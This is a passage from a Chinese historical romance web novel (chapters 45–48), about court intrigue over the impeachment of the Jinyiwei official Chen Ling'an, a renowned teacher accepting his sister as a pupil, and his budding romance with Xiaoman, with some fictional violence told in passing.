昨天都没有好好和她说话。 还没出大门,吴勇一头撞进来,神情严肃,“大人,那些文官联名弹劾你的奏章已经呈递御前了。” 陈令安眼神微眯,“递牌子,进宫。”- 御书房。 弘德帝放下弹劾书,看着刘瑾书微微一笑,笑容有点玩味,“上面没有你的名字。” 刘瑾书从容道:“回禀皇上,微臣绝非认为陈令安无罪,但赵橧母子也不无辜,弹劾书有洗脱赵橧母子罪名之意,微臣不认同,所以没签名。” 弘德帝眼神微闪,命吕良把弹劾书送到内阁,“让内阁判这桩官司,把所涉人员都叫去,你在前面盯着,不要发表意见。” 随后对刘瑾书笑道:“你随朕去后面听。” 内阁所在的文渊阁紧邻文华殿,原是皇帝讲读之所,离御书房很近。大概是怕扰到皇上,这里的人说话压嗓,走路蹑脚,一向僻静有如幽林。 现在却快吵起来了! 屋里乌泱泱站了十几个,屋外黑压压又是二三十个,在弹劾书上签名的人全到了。 属那个年轻御史嗓门最大,指着陈令安跳脚痛骂,别人想插嘴都插不进去。 终于,他没力气了,呼呼喘着粗气,咬牙切齿吐出最后一句:“奸贼,你其罪当诛!” 陈令安放空的眼神终于聚焦了,“你谁?” 骂了半天不知道他是谁,就像一拳打在棉花上,憋得那御史差点背过气,“本官乃都察院——” “都察院的啊。”陈令安截断他,“皇上命内阁评判,没让你都察院评判,你越级越权,无视皇令,藐视天威,证据确凿,其罪当诛。来人,拖下去!” “得令!”吴勇带着两个锦衣卫兴高采烈进来锁人。 御史大惊失色,“你居然敢在内阁撒野!奸贼你构陷忠良……放开我,放开我!救……救,阁老救我!” 众人的视线齐刷刷聚在陈绍身上。 陈绍靠在太师椅中,双目微阖,半白的胡须微颤,还有轻轻的鼾声,似是……睡着了? 陈令安鼻子哼了声,手轻轻一挥。 吴勇拎小鸡崽儿似地提起御史,大喝道:“午门问斩!” 那御史惊得魂飞魄散:“刘阁老!” “慢着。”刘方站出来,“陈大人一案未了,不要节外生枝,犯得众怒,皇上就是想保你也保不住。” “好像我现在没犯众怒似的。”陈令安嗤笑道,冲吴勇唯一颔首,让他把人放了。 耳根子清净了,见好就收。 刘方沉吟少顷,轻声道:“陈阁老,你怎么看?” 不等陈绍有所反应,陈令宜就阴阳怪气说:“问我爹干什么,他怎么看重要吗?” 有人出声:“小阁老此言何意,皇上命内阁处理,当然要问陈阁老的意思。” “嘁,你们上弹劾书的时候怎么不问问我爹的意思?现在倒问,告诉你,没意思!” 一时屋内外寂然。 陈令宜:“答不出来了?呵,你们那点小心思能瞒过谁呀!既然你们让我爹避嫌,那简单,刘阁老,你来代我爹首辅之权吧。” 刘方淡然笑笑,“阁老,如果下官代为掌权,恐怕皇上那里说不过去。” “嗯?”陈绍眼皮动动,茫然看着屋内众人,“你们在说什么?” 刘方笑道:“在说陈令安和赵橧的官司。” 陈绍好像大梦初醒似的,“哦哦,我记起来了。老人家年纪大了,动不动就犯困,还不知道能干几年。” 他翻开弹劾书仔细看了半晌,“赵橧因何抓进诏狱?” 陈令安:“营私舞弊,他收受地方官和皇庄庄头贿赂,在诈尸夺产案中,助案犯陷害无辜,夺财害命。” “证据呢?” “有淮安地方官和皇庄庄头的供词,赵橧名下还有两处来源不明的庄子,三万两银子。” 陈绍看向俞得水,“刑部怎么说?” 俞得水掂量着措辞,“因是同年或同乡,赵橧确实和淮安地方官有过往来,也是诈尸夺产案的办理官员之一,但他不负责审问,只分管笔录。至于名下财产,下官不清楚。” 陈绍:“北镇抚司,你们可曾拷打过赵橧?” 陈令安:“那是必然的,进门必先有一顿杀威棒,审问中,也少不得动刑,这不单是诏狱的规矩,所有衙门都是一样。” “既有刑讯,为何还对赵大人行宫刑?” “手滑了。” 在场之人一阵哗然,这得手滑到什么程度,才能滑到那个地方?把我们当傻子呀,就是狡辩! 陈令安的视线轻飘飘落在某个义愤填膺的人身上,“不信的话,我现在演示给你看看?” 那人只觉□□一凉,下意识并拢双腿。 陈绍:“也就是说,北镇抚司在审讯赵橧营私舞弊案时,失手造成赵橧去势的后果?” “正是。” 刘方微微皱眉,“不能只听一面之词,来人,去诏狱把赵大人请来。” 陈令安:“他来不了。” “难道人已经……” “刘阁老想哪儿去了,人当然还活着。我是说,有碍观瞻。” 刘方一怔,什么意思? 他不懂,杵在后面充当背景的吕良懂。 凭陈令安的性子,定是连根拔,也绝对不会用药,一准儿扔地牢里不管了。 那个没了,可尿还得原道走,加上血啊屎啊,就算洗干净抬上来,只怕这屋里的臭味儿三天也散不了。 这是文渊阁,走几步路就是皇上的御书房,就算陈令安同意,他也不能同意。 吕良瞅瞅刘方。 刘方明白了,眼中闪过一丝暗恼,但一瞬即逝,苦笑着说:“我没有问题了,请阁老裁断。” 陈绍:“北镇抚司直属皇上,请皇上裁断才是,内阁只需如实上奏。” 陈令宜捧过书吏官的笔录,陈绍看了一遍,签上自己的名字,递给刘方,“刘大人也看看。” 刘方看过,签了字,递给另一位大学士。 如此,内阁所有人都签字了。 参陈令安的人们傻了眼,笔录一交上去,陈令安铁定无罪,他们里外里忙活了啥? 到底有人想不通,仗着与陈令宜有几分交情,私底下问他,“就算心疼侄女,也不至于对赵橧见死不救,他是阁老的门生,这不是寒了大家的心?” 陈令宜轻蔑地撇撇嘴,“你也知道他是我爹的门生,要不是我爹栽培,他能有今天?可他是怎么回报我爹的。” “家里突然多出的小孩子,满城贴的告示,你跟我说他不知情?那时候他还常常找我爹请教文章,他娘还总给我娘请安,他们到底怀着什么样的心思来登我家的门!还无辜?赵家没一个人无辜!” 那人结结巴巴道:“或许,因为那孩子是陈犯的女儿,他不想阁老为难……” 陈令宜:“没人能替我爹做决定,隐瞒不报,就是背叛。” 这才是陈阁老放弃赵橧的原因! 那人一惊,想起绕开陈阁老呈递联名弹劾书的官员,也会被视为“背叛”。 陈阁老在警告他们- 内阁的笔录和弹劾书,还有北镇抚司对赵橧的定罪书一并送到龙案上,皇上俱留中不发。 过了几天,赵橧死在了诏狱。 赵老太太也死了,因陈令安陈令宜都放出话,没有郎中敢给她医治,活生生疼死了。 办白事的那天晚上,赵家遭了贼,家财被洗劫一空,宅子烧了个精光。 赵太太上吊了,女儿被远房亲戚收养,再没回过金陵城。 对此,有人觉得赵家自作自受,有人唏嘘不已可怜赵家人,还有些人,登陈家门少了,更愿意去拜访刘方。 不管世事如何变换,时间还是一刻不停向前走,转眼已是八月底。 小满张罗着要出门,“林姨终于来了,我去看看她,还有事求她帮忙。” 蒋夫人自是满口答应,“她住哪儿,让马车送你过去。” “好像叫林园。” “哪里?” “林园,何平跟我说的,他跟我一起去。” 蒋夫人呆滞片刻,林园,是当今的老师,大儒林为谦的庄园。 “林姨是谁,和林为谦什么关系?” “林姨是林亭先生的妻子,林为谦是谁?”小满纳闷道,“怎么了母亲,你好震惊的样子。” 蒋夫人好一阵儿才回过神来,强按着乱跳的心脏,“我能不震惊吗?林为谦别号林亭先生,帝师,最有声望的大儒!林夫人祖上可追溯到下邳林氏,那是西晋就有的世家!我的天,你居然和他们有交集!” 小满慢慢张大嘴,“帝师?这么说,何平和皇上就是师兄弟,我是何平的妹妹,勉强也算皇上的小师妹啦?这可太逗了。” 蒋夫人大笑起来,笑着笑着又拭泪,哭着哭着又一巴掌拍在小满的背上,“你真是,嗐,怎么不早说!” 小满故意装出呲牙咧嘴的痛模样,“我提过他们的,你们都没在意。” 蒋夫人失笑,是啊,谁能想到帝师会窝在那个鸟不生蛋的穷地! “先前备的礼太薄了,开库房,我挑几样好东西。” “不用,林姨不在乎这些,往常怎样,现在还怎样就好,突然送一大堆贵重玩意,她会生气。” “真的?” “相信我,我知道她喜欢什么,以前他们两口子吵架,谁也不理谁,还是我劝好的。” “看把你能的。”蒋夫人点她额头一下。 小满嘿嘿笑着揉揉脑门,“原来他们有这么深厚的背景,以前我还奇怪陈令安为什么千里迢迢跑到宣府找林亭先生。也好也好,今天我求林姨的事,说什么也得办成喽!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 小满一进林园, 眼睛就不够看的了。 这座园林依山傍水,竹林清幽,流水潺潺, 假山奇巧,各种叫不上名的奇花异草,还有点缀山水间的亭台楼榭。 她一边走一边赞叹。 看得何平直笑, “就这么好?” “好呀!”小满不知道怎么形容, 想了想说,“好到让我觉得,哪怕在这园子里住一天,这辈子都值了。” “你如果搬进来住,老师他们肯定愿意。” “不了, 我要陪母亲。” “好个没良心的小东西!”忽听有人笑骂, 假山石后走出一位四十左右的女子。 端端正正的鹅蛋脸, 柳眉杏目, 朱唇皓齿,不笑时雍容高贵, 笑起来温婉可亲, 不是林姨又是谁? 小满抱着林夫人又蹦又跳,眼中点点泪光, 小脸激动得通红。 林夫人故作气恼:“还不到一年就把我抛之脑后了,该打。” 小满叹气:“我都恨不得打自个儿,回什么张家, 就该给您当闺女。瞧瞧,这么好的园子,愣是从指缝里溜走喽。” 她嘴上说着可惜,脸上却不见艳羡遗憾, 有的只是单纯的好奇和欣赏,眼神纯净,全无半点贪念。 林夫人喜欢的就是她这点。 她和丈夫声名显赫,多有人有目的地接近他们,讨好他们,谄媚小人假正经君子,还有赔笑假笑的妇人,她见的太多了。 一想到那一双双燃着欲望,放着绿幽幽精光的眼睛,她就不寒而栗。 后来搬到僻远的宣府乡下,虽说村民朴实,也不乏贪便宜的,总想方设法从他们这里蹭点好处。 无论高低贵贱,人性都差不多。 这丫头却有点意思,她喜欢新鲜贵重的玩意,比如西洋小自鸣钟,每次见都瞧半天,眼中的喜欢藏也藏不住,有次故意试探问她要不要,小丫头扭捏了:我是喜欢,可我没想要呀! 后来渐渐发现,给她好物件,她把玩半天,给她一根狗尾巴草,她也能兴致勃勃玩半天。 这性子太对她脾气了! 除了不爱读书这条。 哪怕过去十来年了,林夫人仍耿耿于怀,“明明能静下心写字,偏不愿意念书。” 小满吐吐舌头,满不在乎道:“一看书就打哈欠,我也没办法呀。” 读书太费钱了,况且女孩不比男孩,不能参加科考博取功名,读书于有钱人家的姑娘来说,是锦上添花的事。 对她这样的乡下姑娘,就是只有投入没有回报,为从人贩子手中救下她,养父母几乎掏空了家底,她不能再给他们增添额外的负担。 哪怕林姨不收她的束脩,也要花费大量的时间读书写字。 时间很宝贵,她挥霍不起。 何平突然摸摸她的头。 “干嘛?”小满皱皱鼻子,“别摸我头发,讨厌!” 何平邪魅一笑,张开十指,冲着小满脑袋一通胡噜。 庄园的宁静立刻被尖叫声和狂笑声打破了,飞起惊鸟无数,激起呵斥阵阵。 好一阵子才消停下来。 映水阁中,林夫人帮小满重新梳好头发,“半年多不见,这把头发倒是养得油光水亮,再也不是从前的黄毛丫头了。” “母亲对我特别好,什么好东西舍得给我,等我介绍你们认识,肯定一见如故。”小满笑着说,“这么大的园子都收拾出来了,林姨准是要长住吧。” 林夫人叹道:“估计十年八年的都不会离开金陵了。唉,用不了两天,这家花宴,那家诗会,还有鉴画品茶,各式帖子就雪花片似地飞来了,我得变着法儿的找借口。” “我这倒有个现成的由头。” “小丫头又打什么鬼主意?” “收徒弟,把时间全占上!” “我当什么,你知道我从不收徒,唯独看上了你,你却没瞧上我。” 小满哼哼唧唧:“多久了,还记仇呢。不是我夸海口,那女孩子特别好,特别善良,你肯定会喜欢。” 她说起陈砚宁,心肠柔软,性子和善,可爱聪慧,把能想到的所有美好的词语,都用在陈砚宁身上了。 小满期待地看着林夫人。 林夫人嘴角弯弯,“我不喜欢陈令安,才不要奸贼的妹妹做弟子。” 小满替他抱屈:“传言都是假的,我还是人们口中的不孝女扫把星呢!” 林夫人叹了声,“你对他倒是上心,他对你可未必。在他心里,妹妹第一,报仇第二,你最多第三。” 小满沉默一瞬,旋即又笑:“我知道,如果是我是他也会这样。她真的很好很好,只会给你长脸,绝不会坠了你的名头,求你啦。” 她满脸恳切,林夫人思量片刻,到底不忍拂她的意,“我得看看她资质如何,你领她过来。” 小满欢呼一声,又觑着林夫人的脸色说:“她不太方便出门,能不能……” 林夫人无奈,“好,我登门拜访她!”- 得知林夫人有可能收自己为徒,陈砚宁简直不敢相信自己的耳朵。 “不行的,我肯定不行,我都不识字。” “不识字怕什么,这不就马上有人教了么?行不行的,你说了可不算。” “我又不出门,平白浪费人家的功夫,还是算了。” 小满知道她顾忌外面的风言风语,也不点破,只唉声叹道:“我都和林姨说好了,得嘞,我跟她赔罪去,大不了一顿臭骂。” 陈砚宁显然没想到这点,呆了呆说:“是我的错,怎能叫你挨骂。” “那你答应了?” “唔,我怕给你们丢人。” 小满:“林姨很喜欢你哥哥,就是看在你哥哥的面上,也不会难为你的。自信点,没问题!” 陈砚宁轻声道:“给你添麻烦了,谢谢你。” “我要谢谢你才对,我不顾你的意愿……其实我真有点害怕,你看我这段时间都没敢登你家的门儿。” “你是为我好。”陈砚宁握住小满的手轻轻摇了两下,“你不来,我还以为你觉得我太蠢,不理我了。” 小满没忍住噗嗤一笑。 说笑了会儿,见她有点乏了,小满便告辞了。 解决一桩大事,她心情非常好。 秋风拂过,碎花如雨,小满雀跃地在花雨中跳来舞去,可她的舞姿实在说不上好,转个圈儿都差点把自己绊倒。 她依旧胡乱舞动着四肢,乐此不彼,得意得很。 陈令安立在窗后含笑看着她。 其实林夫人不喜欢他,甚至可以说有几分厌恶。 从第一次见面他就知道了。 “辛苦你能找到这里,我同情你的遭遇,可不会让你进门,更不要想拜林亭为师。” 林夫人看他的目光锐利得像把刀,把他剥皮去骨,直到露出他暴虐残忍的本性。 名士爱惜羽毛,他明白,却不甘心,偷偷藏在屋后,候了许久,本想见一见林亭先生,不料听见林夫人夸一个小姑娘。 他便起了心思。 果然,看到他拉了小满一把,林夫人虽然还是没好脸色,好歹让他进门了。 就算没有他,小满也不会有事,林夫人不会坐视不理。 这丫头一直说自己救了她,其实是她救了自己才对。 察觉到有人在看他,小满一蹦一跳走到他面前,“我跳得好不好看?” 陈令安:“像跳大神。” 小满鼓起腮帮子,“嫌我跳得不好,你跳一个给我瞧瞧。” 陈令安当然不可能跳,他慢慢伸出手,摘下一片落在小满头上的粉红花瓣。 “好看。” 刹那间,小满涨红了脸。 风动,树动,是谁的心在动- 后日前晌,林夫人如约而至。 陈令安早早出来迎着了,他微微垂眸,明明比林夫人高一大截,看起来却矮三分。 林夫人脸色淡淡的,瞥他一眼,走过去了,却没忍住又回头看他一眼。 小满低声说:“好看吧。” 林夫人轻哼一声,丈夫年轻的时候比他好看一百倍! 不过话说回来,这人和九年前不大一样,不再像是个勾魂索命的阴间厉鬼,变得柔和许多,有点人味了。 前面,陈砚宁站在门口,头深深低着,拘谨得连大气也不敢喘。 “进去说话。”林夫人看到陈砚宁时,目光不由变软了,“会握笔吗?” 她的声音轻柔温和,好像春风拂面,陈砚宁紧绷的身体慢慢放松下来。 她摇摇头。 “你来。”林夫人走到书桌前,抽出一张纸,用镇纸压住。 小满快步上前,挽起袖子开始磨墨。 林夫人提笔写下“陈”字,“这是你的姓,陈。你照着写一遍。” 说着,把笔递给她。 陈砚宁接过笔,深吸口气,笔尖颤巍巍落在纸上。 小满惊讶地看她一眼,再去看林夫人,也是一副若有所思地望着她。 落笔抖得厉害,刚开始的笔画也弯弯曲曲蚯蚓似的,可写到最后一笔时,居然变得顺滑了。 “你第一次写字?”林夫人问。 陈砚宁以为自己搞砸了,眼泪在眼眶里打转转,“对不起,我太笨了。” “你误会啦!”小满笑道,“第一次握笔就拿得这样标准,第一次写字框架结构就这么漂亮,你是怎么做到的?” “我照着林夫人的样子学的。” “天哪,看一遍就会了?果然天生就是大才女的料!” 陈砚宁不敢信,又愿意相信,“真的?” 林夫人露出赞许的眼神,“很好。” 小满急急道:“林姨你收下了是不是?” 林夫人笑着点点头。 一点笑意从陈砚宁两靥晕开,慢慢扩散到眉梢眼角,顷刻间满脸都是笑了,就像春日里明媚的阳光,映得整间屋子都亮堂堂的。 这才是十四岁的女孩子啊! 小满摁下兴奋的心情,悄悄走到庭院,把屋里的空间留给林夫人和陈砚宁。 陈令安也跟了出来。 小满一抬下巴,“你打算怎么谢我?” 陈令安:“你想要什么,我都答应。” 小满脸一红。 我要你以身相许,你答应吗? 第47章 陈砚宁的身子还没彻底恢复, 林夫人让她歇几天再正式拜师。 “就定重阳节后吧,你到时把人送到林园,她的东西也一并带着, 以后就随我住,逢年过节再回来。当然,你也可以去林园探望她。” 林夫人微睨了陈令安一眼, “你这位当哥哥的意见如何?” 陈令安当然舍不得。 好容易找回妹妹, 在家还没住多久又要离开——他们统共没说几句话。 但林夫人这个名头实在响亮,多少人想求她指点一二都不成,更别提常伴林夫人,得其精心调\教。 他若拒绝,就是天字号第一大傻子! 况且妹妹一辈子很长, 不可能永远不出门, 迟早要面对人们的指指点点流言蜚语, 有林夫人在, 那些人不得不收敛着。 陈令安干脆撩袍跪倒,“夫人和先生对我兄妹恩重如山, 有如再生父母, 小子无以为报,但凡有令, 莫不从命。” 陈砚宁也跟着跪下了。 林夫人轻叹道:“起来吧,你是林亭举荐给皇上的,做事时好歹想着先生点, 别污了他的清名。” 她准备走了,没让陈令安送,“陪你妹妹吧,小满跟我来。” 小满喜滋滋送她出门。 林夫人道:“我收到刘家秦夫人的帖子, 大后天她想登门拜会我,你和你母亲也来,记得早点到。” 这种让讨厌的人下不来台的事,小满最喜欢干了,使劲点头。 待林家的马车走远了,小满才哼着小曲儿,上了自家的轿子。 母亲喜欢吃贡院前街的吴记酱肉,小满吩咐一声,轿夫们应和着慢慢转头,柞木轿杠嘎吱嘎吱的响,不多时就到了地方。 街上比往常更热闹,放眼望去,儒生学子占了七成有余,三五成群,呼朋唤友,尤其是街边的酒楼茶肆,几乎都叫他们包圆了。 小满惊奇不已:“今儿是什么日子,捅了书生窝了!” 轿夫笑道:“自从秋闱放榜,这里就一直热闹着。姑娘别下去了,我去买,人多冲撞了姑娘。” 秋闱都结束了啊!小满忽想到张弼,也不知道中没中。 到底难忍好奇,她就去问张君懿——为了躲避张家人纠缠,张君懿和她们住在一起,却是一个临街的单独小院,往常也不从蒋宅正门出入,只走临街的小门。 “中举了,一百五十二名。”张君懿道,表情淡漠得像在说一个陌生人。 小满不由惊叹:“好厉害,张家频生变故,他一点没影响心态,我小瞧他了。” 张君懿翘起嘴角,笑容讥诮。 他可是在南翠书院读书! 乡试的主考官由朝廷从翰林院或六部选派京官担任,南翠书院的老师们与这些官员多有交情,没少研读他们的文章,研究他们的喜好。 一般朝廷会提前两三个月公布考官人选,这段时间足够南翠书院的老师推敲出出题方向了。 他能中举,全凭蒋夫人花钱把他送进南翠书院。 不过这些话也在肚子里转转罢了,她不会在小满面前坠大哥的威风。 小满:“你没回去给他贺喜?” 张君懿:“没,懒得回。” 小满更奇怪了,张君懿心心念念想高嫁,有个举人哥哥,亲事也能相对高一等。现在张文入狱,老太太也病着,没人能辖制她,她为什么不回张家?- “她也忒不像话了!”姚姨娘从家庙回来了,她端坐上首,一派诰命夫人的派头,“我叫她几次,就是不肯回来,连亲娘都忘了,白眼狼。” 张弼坐在她下首,低着脑袋沉默不语。 姚姨娘不满,“抬起头来,都成举人老爷了,反倒不如从前有气势。” 张弼暗自苦笑。 是中举,但最后一名,也是南翠书院此科的最后一名。 今年是皇上登基后首次开科,皇上格外开恩,破例从宽录取,比上一科足足多了三十六名。 除去他,此次南翠书院中举的最低名次是八十五名,也就是说,按往年的录取情况,他根本中不了。 同学们也来道喜,开口闭口都是“幸运”“好福气”,更像在笑他。 张弼满腹委屈不忿,恨同学狗眼看人低,恨小满煽风点火,恨太太寡恩薄情,恨父亲不仁不义,恨祖母自私自利,恨姨娘僭越贪婪,恨妹妹不识大体…… 生生把自己耽误了! 他缓缓闭上眼,“书院催要束脩,三日内再交不上的话,我就不能去书院读书了。” 姚姨娘怔楞了下,“当年进书院的时候,不是交过了吗?” “本是一年一交的,太太当初一次□□了五年,如今到期了。想继续求学,必须再交钱。” “真是小气。算了,多少钱?” “一年一千两。” 姚姨娘大惊:“这么多,穷疯了,抢钱呐!你现在也是举人老爷了,就不能便宜点?” 张弼想不到姨娘连一千两银子都舍不得,脸色登时变了。 “入学时是多少,就一直是多少,你当书院是菜市场讨价还价?我都不是太太生的,她都愿意给我掏钱,你是我亲娘,反而不花一文!” 姚姨娘忙道:“你误会娘了,不是不愿意,是家里实在没钱,全都还蒋氏了!每月只有你举人的三十两膏火银进项,叫娘去哪儿给你凑一千两?” 张弼烦乱地摆摆手,“罢了罢了,我不去书院,自己在家温习。” 姚姨娘沉吟着说:“不去也好,你有没有听说,最近京城来了位非常有名的老师,姓林。” 张弼精神为之一振,“你说的是林亭先生,真正的鸿生巨儒!若能得他提点,莫说进士,就是一甲也不在话下。” 他殷切地看着姨娘,以为她找到了门路。 姚姨娘笑道:“你不如拜他为师,寻人问问他住在哪里,好像有个雪地里求学感动老师的故事,你也学着做,他见你心诚,你又天资聪颖,必定会收下你。” 张弼愕然张大嘴,无语之极,失望透顶,起身冷脸往外走。 他走得急,差点撞到刚进门的张安懿,低低骂了声“看路”,不顾姚姨娘呼喊走了。 张安懿为边老太太的汤药钱来的,“褥疮越发严重,今天高热,怎么也退不下去,再不抓药,恐怕就要不好了。” “没钱!”姚姨娘气不打一来。 她回来后才发现,家里被查抄个干干净净,竟是一两银子都不剩。 合着允许她回家进去叫她来堵窟窿的? 她是有点私房,可那是给儿子娶媳妇用的,谁也别想动一个子儿。 方才在儿子那里受的窝囊气全发泄在张安懿身上,一通好骂,又抽出鸡毛掸子打,“孙颖那个臭婊子,敢虐待我闺女,我打死她闺女!” 张安懿尖叫着想往外跑,可她之前被姨娘逼着减肥,饿得手脚都没力气。后来家里落败,吃不饱饭还要当丫鬟伺候人,根本挣不脱姚姨娘的手。 直到姚姨娘骂累了,打乏了,她才得以逃出来。 也不敢回老太太那里,老太太身子动不了,嘴巴能动,一个不顺心,就喊着把她卖了。 她是真怕呀! 摸摸索索地走到姨娘的屋子,翻开一块地砖,摸出一把小铜钥匙和一张当票子。 这是姨娘留给她的,本想等姨娘出来再动,可衙门迟迟不结案,姨娘一直被关着,不知道几时才有结果。 她一天也等不了了,四姐姐能走,她也能走。 只是姨娘…… 当初听三姐姐的就好了,如果她也选择维护太太,今天就不会是这个样子了。 张安懿握着钥匙哭起来- 这天后晌,秦夫人开箱捣柜,挑衣服选首饰,好一通忙活。 刘方调侃她要进宫吗,这么隆重。 秦夫人笑道:“不比进宫,可也不能随便了——林夫人邀我明天见面。” 刘方放下手里的书卷,吃惊道:“我递过去的拜帖还没回信呢,夫人已经荣登林园了,还是夫人面子大。” 秦夫人十分得意:“她夫君毕竟是白身,她连个诰命都没有,怎么着也得给我这个从一品夫人面子,说起来她比我还小几个月呢。” 这次刘方没有顺着她的话哄她,反微微皱起眉头。 “明日切不可拿大妄言,皇上待林亭先生以师礼,是正经磕过头拜过师的。他不是官身,是因为他根本不想做官,否则哪有我和陈绍的份儿!” 秦夫人将信将疑的,“你别唬我。” 刘方放下书卷,再三叮嘱道:“切记切记,不可失礼,也不用谦卑讨好。这位夫人交友不看门第,只看性情,忘掉双方身份,把她当成普通的朋友,聊聊山水游记。” 秦夫人笑道:“知道啦,人家又不是头回出去应酬,放心,肯定能帮上你的忙。” 刘方拱手一笑:“有劳夫人。” 转天一早,秦夫人兴致勃勃出门了。 不到晌午,秦夫人怒气冲冲回来了。 回来就把自己关在屋子里,饭也不吃,谁叫也不开门,管事吓坏了,急忙去衙门请刘方回来。 秦夫人见到丈夫就嚎啕大哭,把刘方弄了个满头雾水。 “她羞辱我!你知道我在她那里见着谁了吗?张小满!还有蒋婵!” 刘方心一沉,“细细说。” “下人把我领到花厅,她倒是出来迎我的,脸上带笑,瞧着很亲切。可我一进门就看到蒋婵坐在屋里,接着张小满就从屏风后绕出来,挽着她的胳膊叫林姨,她还故意给我介绍说这是她最喜欢的小友!” 秦夫人又咬牙切齿,“京城谁不知道我和她们的过节,还当着我的面和她们说说笑笑,她这是故意给我难堪!” 刘方眉头深锁,“林夫人和她们关系很好,你确定?” “蒋婵应该和她不太熟,张小满在宣府的时候就认识她了,还差点做了她的学生。” 秦夫人忽然紧张起来,“她们不会帮着陈令安压制你吧。” 刘方觉得不至于,“陈令安的目标是陈绍,不是我,之前找我麻烦,是因为陈刘两家捆绑在一起。” 他和陈绍联手,逼杨阁老让出了首辅的位置,那时谁看他们两家都是盟兄弟似的。可现在情况不一样了,刘家和陈家的矛盾已经摆在明面上,没法调和。 如果陈令安识时务,就该和他联手,赶陈绍下台。 可是看陈令安冷傲的性子,估计不成。他还得另想招儿,给陈令安一个重创陈绍的机会,借其手,除己敌。 等等,既然那个张小满和林夫人这样好,那和林亭先生关系肯定也不差! 若是林亭先生能站在他这边,首辅之位简直是探囊取物。 刘方禁不住叹息一声,悄悄瞥了眼老妻。 毕竟是经年的夫妻,秦夫人瞬间明白他这眼的意思,不由大怒:“我又不知道她有这层关系!”沓樰團隊 更讨厌张小满了,哼!- 重阳节后,漫山黄澄澄的,三四丈高的梧桐矗立山道两旁,繁茂的树冠在空中交汇,搭起一道长长的巨大金色穹顶。 金黄灿红的落叶铺满道路,踩上去时,发出细微的咯嚓咯嚓声。 小满很喜欢秋天踩落叶,冬天踩积雪的声音。 她回头瞧瞧,“喂,别无精打采的,林姨不是说了么,你随时可以去看砚宁。” “不是因为砚宁。” “那你一路低头琢磨什么呢!” 陈令安正色道:“琢磨怎么害人。” “没意思。”小满白他一眼,蹲地上胡乱划拉。 陈令安以为她恼了,“我没说顽笑,最近抓了个陈绍的短处,就是要等到明年二三月再看,我有点等不及。” “谁要听你说这个。”小满举起一片落叶,啪嚓揪掉叶柄,“来呀,拔老将!” 陈令安面皮一僵。 拔老将,就是拿落叶的叶柄十字交叉,两人同时往后拉扯,叶柄不断者为赢家。 幼稚,都是小孩子的游戏,他都二十了,哪个要玩啊! 如是想着,他弯腰捡起一片落叶。 深褐色带斑点的叶柄,韧劲最好,在中间揉几下降低脆性,定能胜利。 嚓,小满手中的叶柄断成两节。 “再来再来!” 她重新捡了根。 又断了。 “这个地方风水不利我,换地儿。”小满蹬蹬跑开几步。 陈令安不紧不慢跟在后面。 小满蹲在地上好一阵扒拉,“这回一定要赢你。” 这次陈令安也跟小孩子似地蹲下了。 有几个路过的人看着他们,偷偷捂着嘴笑。 若是以前,陈令安会冷冰冰看回去,对方必会不寒而栗,速速滚远。 可现在他一点也不生气,只是对他们温和地笑了笑。 那几人明显有些不好意思了,脚步匆匆迅速溜走。 啪一声清脆的叶柄断裂声,“赢啦!”小满蹭地蹦起来,举着手臂高兴得像个孩子。 陈令安抬头望着她,细碎的光芒在他眼中闪烁,待小满低头看他时,却垂下眼帘挡住了。 两人在山道间慢慢走着,小满不似方才那样活泼了,微微低着头一言不发,不知道在想些什么。 一阵喧哗从前面传来,竟是吴勇在拉扯一个年轻的妇人! 妇人不停捶打吴勇,嘴里骂得很脏,吴勇也骂骂咧咧的,死拽着她往树林里拖。 小满倒吸口冷气,厉声喝道:“住手!” 她蹬蹬跑上前,一把推开吴勇将那妇人挡在身后,“我当你是顶天立地的汉子,没想到你是这种人!” 吴勇愕然:“我哪种人?” “淫贼!”小满红着脸喊。 吴勇嘴张得能塞下鸡蛋,“我怎么就淫贼了?冤枉。” “你你你……都被抓现行了,还敢狡辩!陈令安,你的手下你管不管?” 陈令安背着手慢悠悠道:“想让我怎么管?” “当然是抓起来。” “嘶——就因为他摸了这位的手,拉了她的胳膊?” 小满不可思议地睁大眼睛,刚要质问,却瞥见陈令安嘴角一抹似有似无的笑意,“你……” 陈令安:“哦,忘了给你介绍,这位是吴勇的妻子曹太太。” 曹太太蓦地发出一阵爆笑。 小满腾地红了脸,尴尬得不知如何是好,捏起拳头砸陈令安,“你怎么不早说,成心看我出丑。” 陈令安忍俊不禁,下意识后退几步,手也抓住了她的手。 麻乎乎的一股热流倏地从手上传到心里,小满心里有点酸,有点甜,还痒酥酥的却挠不到。 她怎么了这是,之前还拥抱过他,也没这样奇怪的感觉。 这让小满觉得很害羞,轻轻用力抽回自己的手。 掌心一空,陈令安从怔楞中醒过来,佯装镇定地背过手,却悄悄握紧了掌心。 吴勇看出二人的尴尬,屁颠屁颠捧着水囊上前,“大人,刚打的山泉水,润润嗓子。” 陈令安:“谢谢。” 曹太太左右看看,忽惊奇叫道:“大人会说谢谢了!” 陈令安一口水喷出来,咳得脸红脖子粗。 难得看严肃冷峻的人失态,吴勇大着胆子调侃道:“大人居然会脸红!” 陈令安:“够了。” 扭头就走,瞧着背影竟有几分落荒而逃的意思。 头一回没骂他呀,吴勇看向老婆,目光充满崇敬敬佩。 小满冲吴勇夫妻挥挥手算做道别,脚步轻快地追上陈令安,原来他也会不好意思,和她一样的呀! 她一下子放松了。 “难得你害羞,让我看看。” “我是呛着了。” “别躲呀,谁让你故意笑我,现在我也要笑你!” 她转着圈儿的要看他的脸,小嘴啪啪不停地逗他,陈令安忍无可忍,张开手掌覆在她脸上,恰恰好把她眼睛盖得严严实实。 “你看吧。” 小满:“你捂着我眼我怎么看?” 奈何他胳膊太长,自己胳膊太短,够不着他人,掰不开他手,只能气恼大叫。 嘴里突然被喂进一个什么东西。 入口带点咸味,微微的辣,然后便是酸酸甜甜的滋味。 盐津梅子! 眼睛看不见,因而他的声音格外清晰: “重新认识下,我叫陈令安。” 第48章 重阳节一过, 时间就跟手里的钱似的,出溜出溜的不知道怎么就没了。 一眨眼就是立冬,蒋夫人把何平、陈令安都叫到家里来吃饭。 也让小满去找陈砚宁, 不巧小妹染了风寒,这两天窝在屋里养身子,只能罢了。 看着满桌子热气腾腾的菜肴, 何平口水都要流下来了, “学院的饭菜简直不是人吃的,大冷的天,米粥冻得邦邦硬,生怕我们死于安乐!” 蒋夫人心疼坏了,忙给他夹一筷子大煮干丝, “记得你爱吃这个, 不如你师娘做得好, 凑合吃吧。” 何平大呼小叫:“干娘竟吃师娘的醋, 